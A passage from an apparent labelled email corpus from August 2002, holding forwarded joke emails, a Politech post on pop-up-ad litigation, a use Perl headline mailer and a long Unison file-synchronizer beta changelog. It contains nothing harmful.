the restroom?"" ""Well, now they know you're one of us,"" said the bartender. ""Would you like a drink?"" ""But, I still don't understand,"" said the puzzled pastor. ""You see,"" laughed the bartender, ""every time the fig leaf is lifted on the statue, the lights go out in the whole place. Now, how about that drink?""",0,0 gkm@petting-zoo.net (glen mccready),0xdeadbeef@petting-zoo.net,"Sun, 18 Aug 2002 11:31:21 -0700",New Medications.,"Forwarded-by: Rob Windsor Forwarded-by: ""Rich Holland"" Forwarded-by: Diane S t . M o m ' s W o r t Plant extract that treats mom's depression by rendering preschoolers unconscious for up to six hours. E m p t y N e s t r o g e n Highly effective suppository that eliminates melancholy by enhancing the memory of how awful they were as teenagers and how you couldn't wait till they moved out. P e p t o b i m b o Liquid silicone for single women. Two full cups swallowed before an evening out increases breast size, decreases intelligence, and improves flirting. D u m e r o l When taken with Peptobimbo, can cause dangerously low I.Q. causing enjoyment of country western music. F l i p i t o r Increases life expectancy of commuters by controlling road rage and the urge to flip off other drivers. A n t i b o y o t i c s When administered to teenage girls, is highly effective in improving grades, freeing up phone lines, and reducing money spent on make-up. M e n i c i l l i n Potent antiboyotic for older women. Increases resistance to such lines as, ""You make me want to be a better person ... can we get naked now?"" B u y a g r a Injectable stimulant taken prior to shopping. Increases potency and duration of spending spree. E x t r a S t r e n g t h B u y-O n e-A l l When combined with Buyagra, can cause an indiscriminate buying frenzy so severe the victim may even come home with a Donnie Osmond CD or a book by Dr. Laura. J a c k A s s p i r i n Relieves the headache caused by a man who can't remember your birthday, anniversary or phone number. A n t i - t a l k s i d e n t A spray carried in a purse or wallet to be used on anyone too eager to share their life stories with total strangers. R a g a m e t When administered to a husband, provides the same irritation as ragging on him all weekend, saving the wife the time and trouble of doing it herself.",0,0 gkm@petting-zoo.net (glen mccready),0xdeadbeef@petting-zoo.net,"Sun, 18 Aug 2002 12:41:58 -0700","It's probably illegal to set the background color, too.","Forwarded-by: Nev Dull Forwarded-by: Adam Shand From: politech@politechbot.com Date: Thu, 15 Aug 2002 00:12:27 -0400 To: declan@well.com From: Doug Isenberg Subject: Pop-up ads and the law Declan: As you know, a district court judge recently entered a preliminary injunction against Gator in a lawsuit brought by numerous website news publishers over Gator's pop-up advertising service. In my most recent column for The Wall Street Journal Online (now available on GigaLaw.com at http://www.gigalaw.com/articles/2002/isenberg-2002-08.html), I examine the potential greater effect of this lawsuit. For example: ""Terence Ross of Gibson, Dunn & Crutcher, the news publishers' attorney, even told me that he thinks Internet users who configure their browsers to disable graphics (a common tactic to boost the speed of Web surfing) are committing copyright infringement because they are interfering with Web publishers' exclusive right to control how their pages are displayed."" Doug Isenberg, Esq. Author, ""The GigaLaw Guide to Internet Law"" (Random House, October 2002): http://www.GigaLaw.com/guide FREE daily Internet law news via e-mail! Subscribe today: http://www.GigaLaw.com/news ------------------------------------------------------------------------- POLITECH -- Declan McCullagh's politics and technology mailing list You may redistribute this message freely if you include this notice. To subscribe to Politech: http://www.politechbot.com/info/subscribe.html This message is archived at http://www.politechbot.com/ Declan McCullagh's photographs are at http://www.mccullagh.org/ -------------------------------------------------------------------------",0,1 gkm@petting-zoo.net (glen mccready),0xdeadbeef@petting-zoo.net,"Sun, 18 Aug 2002 12:46:59 -0700",QOTD: Give me a frigging break.,"Forwarded-by: Nev Dull Forwarded-by: newsletter@tvspy.com ""Give me a frigging break. I've been a frigging diva for 40 frigging years."" -- CHER to fans in Las Vegas who booed last weekend when she told them the performance was part of her last tour.",0,0 gkm@petting-zoo.net (glen mccready),0xdeadbeef@petting-zoo.net,"Sun, 18 Aug 2002 12:50:24 -0700",QOTD: Inside me there's a thin woman screaming to get out...,"Forwarded-by: Nev Dull Forwarded-by: ""KOLE,JOHN P (HP-FtCollins,ex1)"" From: Bell Lori [mailto:loribell01@yahoo.com] Inside me there's a thin woman screaming to get out -- But I can usually shut the bitch up with some chocolate.",0,0 gkm@petting-zoo.net (glen mccready),0xdeadbeef@petting-zoo.net,"Sun, 18 Aug 2002 15:18:04 -0700",The Beer Scooter,"[I'm sure somebody will tell me about the original source; it's in a number of places on the web. -gkm] Forwarded-by: Colin Burgess The Beer Scooter How many times have you woken up in the morning after a hard night drinking and thought 'How on earth did I get home? As hard as you try, you cannot piece together your return journey from the pub to your house. The answer to this puzzle is that you used a Beer Scooter. The Beer Scooter is a mythical form of transport, owned and leased to the drunk by Bacchus the Roman god of wine. Bacchus has branched out since the decrease in the worship of the Roman Pantheon and has bought a large batch of these magical devices. The Beer Scooter works in the following fashion:- The passenger reaches a certain level of drunkenness and the ""slurring gland"" begins to give off a pheromone. Bacchus or one of his many sub-contractors detects this pheromone and sends down a winged Beer Scooter. The scooter scoops up the passenger and deposits them in their bedroom via the Trans-Dimensional Portal. This is not cheap to run, so a large portion of the passenger's in-pocket cash is taken as payment. This answers the second question after a night out 'How did I spend so much money?' Unfortunately, Beer Scooters have a poor safety record and are thought to be responsible for over 90% of all UDI (Unidentified Drinking Injuries). An undocumented feature of the beer scooter is the destruction of time segments during the trip. The nature of Trans-Dimensional Portals dictates that time will be lost, seemingly unaccounted for. This answers a third question after a night out 'What the hell happened?' With good intentions, Bacchus opted for the REMIT (Removal of Embarrassing Moments In Time) add on, that automatically removes, in descending order, those parts in time regretted most. Unfortunately one person's REMIT is not necessarily the REMIT of another and quite often lost time is regained in discussions over a period of time. Independent studies have also shown that Beer Goggles often cause the scooter's navigation system to malfunction thus sending the passenger to the wrong bedroom, often with horrific consequences. With recent models including a GPS, Bacchus made an investment in a scooter drive-thru chain specialising in half eaten kebabs and pizza crusts. Another question answered!! For the family man, Beer Scooters come equipped with flowers picked from other people's garden and Thump-A-Lot boots (Patent Pending). These boots are designed in such a way that no matter how quietly you tip-toe up the stairs, you are sure to wake up your other half. Special anti-gravity springs ensure that you bump into every wall in the house and the CTSGS (Coffee Table Seeking Guidance System) explains the bruised shins. The final add-on Bacchus saw fit to invest in for some scooters is the TAS (Tobacco Absorption System). This explains how one person can apparently get through 260 Marlboro Lights in a single night. PS: Don't forget the on-board heater, which allows you to comfortably get home from the pub in sub-zero temperatures, wearing just a T-shirt.",0,0 gkm@petting-zoo.net (glen mccready),0xdeadbeef@petting-zoo.net,"Mon, 19 Aug 2002 13:40:28 -0700",JOTD: Sean Connery three times a night.,"Forwarded-by: Nev Dull Forwarded-by: ""Simondo"" Sean Connery was interviewed by Michael Parkinson, and bragged that despite his 72 years of age, he could still have sex three times a night. Lulu, who was also a guest, looked intrigued. After the show, Lulu said, ""Sean, if Ah'm no bein too forward, Ah'd love tae hae sex wi an aulder man. Let's go back tae mah place."" So they go back to her place and have great sex. Afterwards, Sean says, ""If you think that was good, let me shleep for half an hour, and we can have even better shex. But while I'm shleeping, hold my baws in your left hand and my wullie in your right hand."" Lulu looks a bit perplexed, but says, ""Okay."" He sleeps for half and hour, awakens, and they have even better sex. Then Sean says, ""Lulu, that was wonderful. But if you let me shleep for an hour, we can have the besht shex yet. But again, hold my baws in your left hand, and my wullie in your right hand."" Lulu is now used to the routine and complies. The results are mind blowing. Once it's all over, and the cigarettes are lit, Lulu asks ""Sean, tell me, dis mah haudin yer baws in mah left hand and yer wullie in mah right stimulate ye while ye're sleepin?"" Sean replies, ""No, but the lasht time I shlept with a Glashwegian, she shtole my wallet.""",0,0 pudge@perl.org,yyyy-use-perl@spamassassin.taint.org,"Tue, 20 Aug 2002 02:00:22 +0000",[use Perl] Headlines for 2002-08-20,"use Perl Daily Headline Mailer Call for Perl Monger T-Shirts at YAPC::Europe posted by ziggy on Monday August 19, @08:53 (yapce) http://use.perl.org/article.pl?sid=02/08/19/1254219 This Week on perl5-porters (11-18 August 2002) posted by pudge on Monday August 19, @10:12 (summaries) http://use.perl.org/article.pl?sid=02/08/19/1230217 Copyright 1997-2002 pudge. All rights reserved. ====================================================================== You have received this message because you subscribed to it on use Perl. To stop receiving this and other messages from use Perl, or to add more messages or change your preferences, please go to your user page. http://use.perl.org/my/messages/ You can log in and change your preferences from there.",0,1 """Benjamin C. Pierce"" ","unison-announce@yahoogroups.com, unison-users@egroups.com","Mon, 19 Aug 2002 21:46:46 EDT",[unison-announce] New unison beta-release (2.9.20) now available,"------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/Ey.GAA/26EolB/TM ---------------------------------------------------------------------~-> A new version of unison is now available for testing. It incorporates several small improvements over 2.9.1, but the main change is a fix to a bug that had potentially serious safety consequences, but only for the very small number of users that are in the habit of running more than one instance of Unison at a time, in parallel. These users are strongly encouraged to upgrade. Others can wait if they wish. The release includes pre-built executables for Linux and Solaris, but not Windows. (We are looking for a Unison-Windows maintainer -- at the moment, none of the active developers are regularly using Unison on Windows, and we do not have a machine that is configured properly for building executables for export.) Grab it from here: http://www.cis.upenn.edu/~bcpierce/unison/download.html Enjoy, -- Benjamin Changes since 2.9.1: * Added a preference maxthreads that can be used to limit the number of simultaneous file transfers. * Added a backupdir preference, which controls where backup files are stored. * Basic support added for OSX. In particular, Unison now recognizes when one of the hosts being synchronized is running OSX and switches to a case-insensitive treatment of filenames (i.e., 'foo' and 'FOO' are considered to be the same file). (OSX is not yet fully working, however: in particular, files with resource forks will not be synchronized correctly.) * The same hash used to form the archive name is now also added to the names of the temp files created during file transfer. The reason for this is that, during update detection, we are going to silently delete any old temp files that we find along the way, and we want to prevent ourselves from deleting temp files belonging to other instances of Unison that may be running in parallel, e.g. synchronizing with a different host. Thanks to Ruslan Ermilov for this suggestion. * Several small user interface improvements * Documentation + FAQ and bug reporting instructions have been split out as separate HTML pages, accessible directly from the unison web page. + Additions to FAQ, in particular suggestions about performance tuning. * Makefile + Makefile.OCaml now sets UISTYLE=text or UISTYLE=gtk automatically, depending on whether it finds lablgtk installed + Unison should now compile ``out of the box'' under OSX Changes since 2.8.1: * Changing profile works again under Windows * File movement optimization: Unison now tries to use local copy instead of transfer for moved or copied files. It is controled by a boolean option ``xferbycopying''. * Network statistics window (transfer rate, amount of data transferred). [NB: not available in Windows-Cygwin version.] * symlinks work under the cygwin version (which is dynamically linked). * Fixed potential deadlock when synchronizing between Windows and Unix * Small improvements: + If neither the tt USERPROFILE nor the tt HOME environment variables are set, then Unison will put its temporary commit log (called tt DANGER.README) into the directory named by the tt UNISON environment variable, if any; otherwise it will use tt C:. + alternative set of values for fastcheck: yes = true; no = false; default = auto. + -silent implies -contactquietly * Source code: + Code reorganization and tidying. (Started breaking up some of the basic utility modules so that the non-unison-specific stuff can be made available for other projects.) + several Makefile and docs changes (for release); + further comments in ``update.ml''; + connection information is not stored in global variables anymore. Changes since 2.7.78: * Small bugfix to textual user interface under Unix (to avoid leaving the terminal in a bad state where it would not echo inputs after Unison exited). Changes since 2.7.39: * Improvements to the main web page (stable and beta version docs are now both accessible). * User manual revised. * Added some new preferences: + ``sshcmd'' and ``rshcmd'' for specifying paths to ssh and rsh programs. + ``contactquietly'' for suppressing the ``contacting server'' message during Unison startup (under the graphical UI). * Bug fixes: + Fixed small bug in UI that neglected to change the displayed column headers if loading a new profile caused the roots to change. + Fixed a bug that would put the text UI into an infinite loop if it encountered a conflict when run in batch mode. + Added some code to try to fix the display of non-Ascii characters in filenames on Windows systems in the GTK UI. (This code is currently untested---if you're one of the people that had reported problems with display of non-ascii filenames, we'd appreciate knowing if this actually fixes things.) + `-prefer/-force newer' works properly now. (The bug was reported by Sebastian Urbaniak and Sean Fulton.) * User interface and Unison behavior: + Renamed `Proceed' to `Go' in the graphical UI. + Added exit status for the textual user interface. + Paths that are not synchronized because of conflicts or errors during update detection are now noted in the log file. + [END] messages in log now use a briefer format + Changed the text UI startup sequence so that tt ./unison -ui text will use the default profile instead of failing. + Made some improvements to the error messages. + Added some debugging messages to remote.ml. Changes since 2.7.7: * Incorporated, once again, a multi-threaded transport sub-system. It transfers several files at the same time, thereby making much more effective use of available network bandwidth. Unlike the earlier attempt, this time we do not rely on the native thread library of OCaml. Instead, we implement a light-weight, non-preemptive multi-thread library in OCaml directly. This version appears stable. Some adjustments to unison are made to accommodate the multi-threaded version. These include, in particular, changes to the user interface and logging, for example: + Two log entries for each transferring task, one for the beginning, one for the end. + Suppressed warning messages against removing temp files left by a previous unison run, because warning does not work nicely under multi-threading. The temp file names are made less likely to coincide with the name of a file created by the user. They take the form .#..unison.tmp. * Added a new command to the GTK user interface: pressing 'f' causes Unison to start a new update detection phase, using as paths just those paths that have been detected as changed and not yet marked as successfully completed. Use this command to quickly restart Unison on just the set of paths still needing attention after a previous run. * Made the ignorecase preference user-visible, and changed the initialization code so that it can be manually set to true, even if neither host is running Windows. (This may be useful, e.g., when using Unison running on a Unix system with a FAT volume mounted.) * Small improvements and bug fixes: + Errors in preference files now generate fatal errors rather than warnings at startup time. (I.e., you can't go on from them.) Also, we fixed a bug that was preventing these warnings from appearing in the text UI, so some users who have been running (unsuspectingly) with garbage in their prefs files may now get error reports. + Error reporting for preference files now provides file name and line number. + More intelligible message in the case of identical change to the same files: ``Nothing to do: replicas have been changed only in identical ways since last sync.'' + Files with prefix '.#' excluded when scanning for preference files. + Rsync instructions are send directly instead of first marshaled. + Won't try forever to get the fingerprint of a continuously changing file: unison will give up after certain number of retries. + Other bug fixes, including the one reported by Peter Selinger (force=older preference not working). * Compilation: + Upgraded to the new OCaml 3.04 compiler, with the LablGtk 1.2.3 library (patched version used for compiling under Windows). + Added the option to compile unison on the Windows platform with Cygwin GNU C compiler. This option only supports building dynamically linked unison executables. Changes since 2.7.4: * Fixed a silly (but debilitating) bug in the client startup sequence. Changes since 2.7.1: * Added addprefsto preference, which (when set) controls which preference file new preferences (e.g. new ignore patterns) are added to. * Bug fix: read the initial connection header one byte at a time, so that we don't block if the header is shorter than expected. (This bug did not affect normal operation --- it just made it hard to tell when you were trying to use Unison incorrectly with an old version of the server, since it would hang instead of giving an error message.) Changes since 2.6.59: * Changed fastcheck from a boolean to a string preference. Its legal values are yes (for a fast check), no (for a safe check), or default (for a fast check---which also happens to be safe---when running on Unix and a safe check when on Windows). The default is default. * Several preferences have been renamed for consistency. All preference names are now spelled out in lowercase. For backward compatibility, the old names still work, but they are not mentioned in the manual any more. * The temp files created by the 'diff' and 'merge' commands are now named by prepending a new prefix to the file name, rather than appending a suffix. This should avoid confusing diff/merge programs that depend on the suffix to guess the type of the file contents. * We now set the keepalive option on the server socket, to make sure that the server times out if the communication link is unexpectedly broken. * Bug fixes: + When updating small files, Unison now closes the destination file. + File permissions are properly updated when the file is behind a followed link. + Several other small fixes. Changes since 2.6.38: * Major Windows performance improvement! We've added a preference fastcheck that makes Unison look only at a file's creation time and last-modified time to check whether it has changed. This should result in a huge speedup when checking for updates in large replicas. When this switch is set, Unison will use file creation times as 'pseudo inode numbers' when scanning Windows replicas for updates, instead of reading the full contents of every file. This may cause Unison to miss propagating an update if the create time, modification time, and length of the file are all unchanged by the update (this is not easy to achieve, but it can be done). However, Unison will never overwrite such an update with a change from the other replica, since it always does a safe check for updates just before propagating a change. Thus, it is reasonable to use this switch most of the time and occasionally run Unison once with fastcheck set to false, if you are worried that Unison may have overlooked an update. Warning: This change is has not yet been thoroughly field-tested. If you set the fastcheck preference, pay careful attention to what Unison is doing. * New functionality: centralized backups and merging + This version incorporates two pieces of major new functionality, implemented by Sylvain Roy during a summer internship at Penn: a centralized backup facility that keeps a full backup of (selected files in) each replica, and a merging feature that allows Unison to invoke an external file-merging tool to resolve conflicting changes to individual files. + Centralized backups: o Unison now maintains full backups of the last-synchronized versions of (some of) the files in each replica; these function both as backups in the usual sense and as the ``common version'' when invoking external merge programs. o The backed up files are stored in a directory /.unison/backup on each host. (The name of this directory can be changed by setting the environment variable UNISONBACKUPDIR.) o The predicate backup controls which files are actually backed up: giving the preference 'backup = Path *' causes backing up of all files. o Files are added to the backup directory whenever unison updates its archive. This means that # When unison reconstructs its archive from scratch (e.g., because of an upgrade, or because the archive files have been manually deleted), all files will be backed up. # Otherwise, each file will be backed up the first time unison propagates an update for it. o The preference backupversions controls how many previous versions of each file are kept. The default is 2 (i.e., the last synchronized version plus one backup). o For backward compatibility, the backups preference is also still supported, but backup is now preferred. o It is OK to manually delete files from the backup directory (or to throw away the directory itself). Before unison uses any of these files for anything important, it checks that its fingerprint matches the one that it expects. + Merging: o Both user interfaces offer a new 'merge' command, invoked by pressing 'm' (with a changed file selected). o The actual merging is performed by an external program. The preferences merge and merge2 control how this program is invoked. If a backup exists for this file (see the backup preference), then the merge preference is used for this purpose; otherwise merge2 is used. In both cases, the value of the preference should be a string representing the command that should be passed to a shell to invoke the merge program. Within this string, the special substrings CURRENT1, CURRENT2, NEW, and OLD may appear at any point. Unison will substitute these as follows before invoking the command: # CURRENT1 is replaced by the name of the local copy of the file; # CURRENT2 is replaced by the name of a temporary file, into which the contents of the remote copy of the file have been transferred by Unison prior to performing the merge; # NEW is replaced by the name of a temporary file that Unison expects to be written by the merge program when it finishes, giving the desired new contents of the file; and # OLD is replaced by the name of the backed up copy of the original version of the file (i.e., its state at the end of the last successful run of Unison), if one exists (applies only to merge, not merge2). For example, on Unix systems setting the merge preference to merge = diff3 -m CURRENT1 OLD CURRENT2 > NEW will tell Unison to use the external diff3 program for merging. A large number of external merging programs are available. For example, emacs users may find the following convenient: merge2 = emacs -q --eval '(ediff-merge-files ""CURRENT1"" ""CURRENT2"" nil ""NEW"")' merge = emacs -q --eval '(ediff-merge-files-with-ancestor ""CURRENT1"" ""CURRENT2"" ""OLD"" nil ""NEW"")' (These commands are displayed here on two lines to avoid running off the edge of the page. In your preference file, each should be written on a single line.) o If the external program exits without leaving any file at the path NEW, Unison considers the merge to have failed. If the merge program writes a file called NEW but exits with a non-zero status code, then Unison considers the merge to have succeeded but to have generated conflicts. In this case, it attempts to invoke an external editor so that the user can resolve the conflicts. The value of the editor preference controls what editor is invoked by Unison. The default is emacs. o Please send us suggestions for other useful values of the merge2 and merge preferences -- we'd like to give several examples in the manual. * Smaller changes: + When one preference file includes another, unison no longer adds the suffix '.prf' to the included file by default. If a file with precisely the given name exists in the .unison directory, it will be used; otherwise Unison will add .prf, as it did before. (This change means that included preference files can be named blah.include instead of blah.prf, so that unison will not offer them in its 'choose a preference file' dialog.) + For Linux systems, we now offer both a statically linked and a dynamically linked executable. The static one is larger, but will probably run on more systems, since it doesn't depend on the same versions of dynamically linked library modules being available. + Fixed the force and prefer preferences, which were getting the propagation direction exactly backwards. + Fixed a bug in the startup code that would cause unison to crash when the default profile (~/.unison/default.prf) does not exist. + Fixed a bug where, on the run when a profile is first created, Unison would confusingly display the roots in reverse order in the user interface. * For developers: + We've added a module dependency diagram to the source distribution, in src/DEPENDENCIES.ps, to help new prospective developers with navigating the code. Changes since 2.6.11: * INCOMPATIBLE CHANGE: Archive format has changed. * INCOMPATIBLE CHANGE: The startup sequence has been completely rewritten and greatly simplified. The main user-visible change is that the defaultpath preference has been removed. Its effect can be approximated by using multiple profiles, with include directives to incorporate common settings. All uses of defaultpath in existing profiles should be changed to path. Another change in startup behavior that will affect some users is that it is no longer possible to specify roots both in the profile and on the command line. You can achieve a similar effect, though, by breaking your profile into two: default.prf = root = blah root = foo include common common.prf = Now do unison common root1 root2 when you want to specify roots explicitly. * The -prefer and -force options have been extended to allow users to specify that files with more recent modtimes should be propagated, writing either -prefer newer or -force newer. (For symmetry, Unison will also accept -prefer older or -force older.) The -force older/newer options can only be used when -times is also set. The graphical user interface provides access to these facilities on a one-off basis via the Actions menu. * Names of roots can now be ``aliased'' to allow replicas to be relocated without changing the name of the archive file where Unison stores information between runs. (This feature is for experts only. See the ``Archive Files'' section of the manual for more information.) * Graphical user-interface: + A new command is provided in the Synchronization menu for switching to a new profile without restarting Unison from scratch. + The GUI also supports one-key shortcuts for commonly used profiles. If a profile contains a preference of the form 'key = n', where n is a single digit, then pressing this key will cause Unison to immediately switch to this profile and begin synchronization again from scratch. (Any actions that may have been selected for a set of changes currently being displayed will be discarded.) + Each profile may include a preference 'label = ' giving a descriptive string that described the options selected in this profile. The string is listed along with the profile name in the profile selection dialog, and displayed in the top-right corner of the main Unison window. * Minor: + Fixed a bug that would sometimes cause the 'diff' display to order the files backwards relative to the main user interface. (Thanks to Pascal Brisset for this fix.) + On Unix systems, the graphical version of Unison will check the DISPLAY variable and, if it is not set, automatically fall back to the textual user interface. + Synchronization paths (path preferences) are now matched against the ignore preferences. So if a path is both specified in a path preference and ignored, it will be skipped. + Numerous other bugfixes and small improvements. Changes since 2.6.1: * The synchronization of modification times has been disabled for directories. * Preference files may now include lines of the form include , which will cause name.prf to be read at that point. * The synchronization of permission between Windows and Unix now works properly. * A binding CYGWIN=binmode in now added to the environment so that the Cygwin port of OpenSSH works properly in a non-Cygwin context. * The servercmd and addversionno preferences can now be used together: -addversionno appends an appropriate -NNN to the server command, which is found by using the value of the -servercmd preference if there is one, or else just unison. * Both '-pref=val' and '-pref val' are now allowed for boolean values. (The former can be used to set a preference to false.) * Lot of small bugs fixed. Changes since 2.5.31: * The log preference is now set to true by default, since the log file seems useful for most users. * Several miscellaneous bugfixes (most involving symlinks). Changes since 2.5.25: * INCOMPATIBLE CHANGE: Archive format has changed (again). * Several significant bugs introduced in 2.5.25 have been fixed. Changes since 2.5.1: * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you synchronize your replicas before upgrading, to avoid spurious conflicts. The first sync after upgrading will be slow. * New functionality: + Unison now synchronizes file modtimes, user-ids, and group-ids. These new features are controlled by a set of new preferences, all of which are currently false by default. o When the times preference is set to true, file modification times are propaged. (Because the representations of time may not have the same granularity on both replicas, Unison may not always be able to make the modtimes precisely equal, but it will get them as close as the operating systems involved allow.) o When the owner preference is set to true, file ownership information is synchronized. o When the group preference is set to true, group information is synchronized. o When the numericIds preference is set to true, owner and group information is synchronized numerically. By default, owner and group numbers are converted to names on each replica and these names are synchronized. (The special user id 0 and the special group 0 are never mapped via user/group names even if this preference is not set.) + Added an integer-valued preference perms that can be used to control the propagation of permission bits. The value of this preference is a mask indicating which permission bits should be synchronized. It is set by default to 0o1777: all bits but the set-uid and set-gid bits are synchronised (synchronizing theses latter bits can be a security hazard). If you want to synchronize all bits, you can set the value of this preference to -1. + Added a log preference (default false), which makes Unison keep a complete record of the changes it makes to the replicas. By default, this record is written to a file called unison.log in the user's home directory (the value of the HOME environment variable). If you want it someplace else, set the logfile preference to the full pathname you want Unison to use. + Added an ignorenot preference that maintains a set of patterns for paths that should definitely not be ignored, whether or not they match an ignore pattern. (That is, a path will now be ignored iff it matches an ignore pattern and does not match any ignorenot patterns.) * User-interface improvements: + Roots are now displayed in the user interface in the same order as they were given on the command line or in the preferences file. + When the batch preference is set, the graphical user interface no longer waits for user confirmation when it displays a warning message: it simply pops up an advisory window with a Dismiss button at the bottom and keeps on going. + Added a new preference for controlling how many status messages are printed during update detection: statusdepth controls the maximum depth for paths on the local machine (longer paths are not displayed, nor are non-directory paths). The value should be an integer; default is 1. + Removed the trace and silent preferences. They did not seem very useful, and there were too many preferences for controlling output in various ways. + The text UI now displays just the default command (the one that will be used if the user just types ) instead of all available commands. Typing ? will print the full list of possibilities. + The function that finds the canonical hostname of the local host (which is used, for example, in calculating the name of the archive file used to remember which files have been synchronized) normally uses the gethostname operating system call. However, if the environment variable UNISONLOCALHOSTNAME is set, its value will now be used instead. This makes it easier to use Unison in situations where a machine's name changes frequently (e.g., because it is a laptop and gets moved around a lot). + File owner and group are now displayed in the ``detail window'' at the bottom of the screen, when unison is configured to synchronize them. * For hackers: + Updated to Jacques Garrigue's new version of lablgtk, which means we can throw away our local patched version. If you're compiling the GTK version of unison from sources, you'll need to update your copy of lablgtk to the developers release, available from http://wwwfun.kurims.kyoto-u.ac.jp/soft/olabl/lablgtk.html (Warning: installing lablgtk under Windows is currently a bit challenging.) + The TODO.txt file (in the source distribution) has been cleaned up and reorganized. The list of pending tasks should be much easier to make sense of, for people that may want to contribute their programming energies. There is also a separate file BUGS.txt for open bugs. + The Tk user interface has been removed (it was not being maintained and no longer compiles). + The debug preference now prints quite a bit of additional information that should be useful for identifying sources of problems. + The version number of the remote server is now checked right away during the connection setup handshake, rather than later. (Somebody sent a bug report of a server crash that turned out to come from using inconsistent versions: better to check this earlier and in a way that can't crash either client or server.) + Unison now runs correctly on 64-bit architectures (e.g. Alpha linux). We will not be distributing binaries for these architectures ourselves (at least for a while) but if someone would like to make them available, we'll be glad to provide a link to them. * Bug fixes: + Pattern matching (e.g. for ignore) is now case-insensitive when Unison is in case-insensitive mode (i.e., when one of the replicas is on a windows machine). + Some people had trouble with mysterious failures during propagation of updates, where files would be falsely reported as having changed during synchronization. This should be fixed. + Numerous smaller fixes. Changes since 2.4.1: * Added a number of 'sorting modes' for the user interface. By default, conflicting changes are displayed at the top, and the rest of the entries are sorted in alphabetical order. This behavior can be changed in the following ways: + Setting the sortnewfirst preference to true causes newly created files to be displayed before changed files. + Setting sortbysize causes files to be displayed in increasing order of size. + Giving the preference sortfirst= (where is a path descriptor in the same format as 'ignore' and 'follow' patterns, causes paths matching this pattern to be displayed first. + Similarly, giving the preference sortlast= causes paths matching this pattern to be displayed last. The sorting preferences are described in more detail in the user manual. The sortnewfirst and sortbysize flags can also be accessed from the 'Sort' menu in the grpahical user interface. * Added two new preferences that can be used to change unison's fundamental behavior to make it more like a mirroring tool instead of a synchronizer. + Giving the preference prefer with argument (by adding -prefer to the command line or prefer=) to your profile) means that, if there is a conflict, the contents of should be propagated to the other replica (with no questions asked). Non-conflicting changes are treated as usual. + Giving the preference force with argument will make unison resolve all differences in favor of the given root, even if it was the other replica that was changed. These options should be used with care! (More information is available in the manual.) * Small changes: + Changed default answer to 'Yes' in all two-button dialogs in the graphical interface (this seems more intuitive). + The rsync preference has been removed (it was used to activate rsync compression for file transfers, but rsync compression is now enabled by default). + In the text user interface, the arrows indicating which direction changes are being propagated are printed differently when the user has overridded Unison's default recommendation (====> instead of ---->). This matches the behavior of the graphical interface, which displays such arrows in a different color. + Carriage returns (Control-M's) are ignored at the ends of lines in profiles, for Windows compatibility. + All preferences are now fully documented in the user manual. Changes since 2.3.12: * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you synchronize your replicas before upgrading, to avoid spurious conflicts. The first sync after upgrading will be slow. * New/improved functionality: + A new preference -sortbysize controls the order in which changes are displayed to the user: when it is set to true, the smallest changed files are displayed first. (The default setting is false.) + A new preference -sortnewfirst causes newly created files to be listed before other updates in the user interface. + We now allow the ssh protocol to specify a port. + Incompatible change: The unison: protocol is deprecated, and we added file: and socket:. You may have to modify your profiles in the .unison directory. If a replica is specified without an explicit protocol, we now assume it refers to a file. (Previously ""//saul/foo"" meant to use SSH to connect to saul, then access the foo directory. Now it means to access saul via a remote file mechanism such as samba; the old effect is now achieved by writing ssh://saul/foo.) + Changed the startup sequence for the case where roots are given but no profile is given on the command line. The new behavior is to use the default profile (creating it if it does not exist), and temporarily override its roots. The manual claimed that this case would work by reading no profile at all, but AFAIK this was never true. + In all user interfaces, files with conflicts are always listed first + A new preference 'sshversion' can be used to control which version of ssh should be used to connect to the server. Legal values are 1 and 2. (Default is empty, which will make unison use whatever version of ssh is installed as the default 'ssh' command.) + The situation when the permissions of a file was updated the same on both side is now handled correctly (we used to report a spurious conflict) * Improvements for the Windows version: + The fact that filenames are treated case-insensitively under Windows should now be handled correctly. The exact behavior is described in the cross-platform section of the manual. + It should be possible to synchronize with Windows shares, e.g., //host/drive/path. + Workarounds to the bug in syncing root directories in Windows. The most difficult thing to fix is an ocaml bug: Unix.opendir fails on c: in some versions of Windows. * Improvements to the GTK user interface (the Tk interface is no longer being maintained): + The UI now displays actions differently (in blue) when they have been explicitly changed by the user from Unison's default recommendation. + More colorful appearance. + The initial profile selection window works better. + If any transfers failed, a message to this effect is displayed along with 'Synchronization complete' at the end of the transfer phase (in case they may have scrolled off the top). + Added a global progress meter, displaying the percentage of total bytes that have been transferred so far. * Improvements to the text user interface: + The file details will be displayed automatically when a conflict is been detected. + when a warning is generated (e.g. for a temporary file left over from a previous run of unison) Unison will no longer wait for a response if it is running in -batch mode. + The UI now displays a short list of possible inputs each time it waits for user interaction. + The UI now quits immediately (rather than looping back and starting the interaction again) if the user presses 'q' when asked whether to propagate changes. + Pressing 'g' in the text user interface will proceed immediately with propagating updates, without asking any more questions. * Documentation and installation changes: + The manual now includes a FAQ, plus sections on common problems and on tricks contributed by users. + Both the download page and the download directory explicitly say what are the current stable and beta-test version numbers. + The OCaml sources for the up-to-the-minute developers' version (not guaranteed to be stable, or even to compile, at any given time!) are now available from the download page. + Added a subsection to the manual describing cross-platform issues (case conflicts, illegal filenames) * Many small bug fixes and random improvements. Changes since 2.3.1: * Several bug fixes. The most important is a bug in the rsync module that would occasionally cause change propagation to fail with a 'rename' error. Changes since 2.2: * The multi-threaded transport system is now disabled by default. (It is not stable enough yet.) * Various bug fixes. * A new experimental feature: The final component of a -path argument may now be the wildcard specifier *. When Unison sees such a path, it expands this path on the client into into the corresponding list of paths by listing the contents of that directory. Note that if you use wildcard paths from the command line, you will probably need to use quotes or a backslash to prevent the * from being interpreted by your shell. If both roots are local, the contents of the first one will be used for expanding wildcard paths. (Nb: this is the first one after the canonization step -- i.e., the one that is listed first in the user interface -- not the one listed first on the command line or in the preferences file.) Changes since 2.1: * The transport subsystem now includes an implementation by Sylvain Gommier and Norman Ramsey of Tridgell and Mackerras's rsync protocol. This protocol achieves much faster transfers when only a small part of a large file has been changed by sending just diffs. This feature is mainly helpful for transfers over slow links---on fast local area networks it can actually degrade performance---so we have left it off by default. Start unison with the -rsync option (or put rsync=true in your preferences file) to turn it on. * ``Progress bars'' are now diplayed during remote file transfers, showing what percentage of each file has been transferred so far. * The version numbering scheme has changed. New releases will now be have numbers like 2.2.30, where the second component is incremented on every significant public release and the third component is the ``patch level.'' * Miscellaneous improvements to the 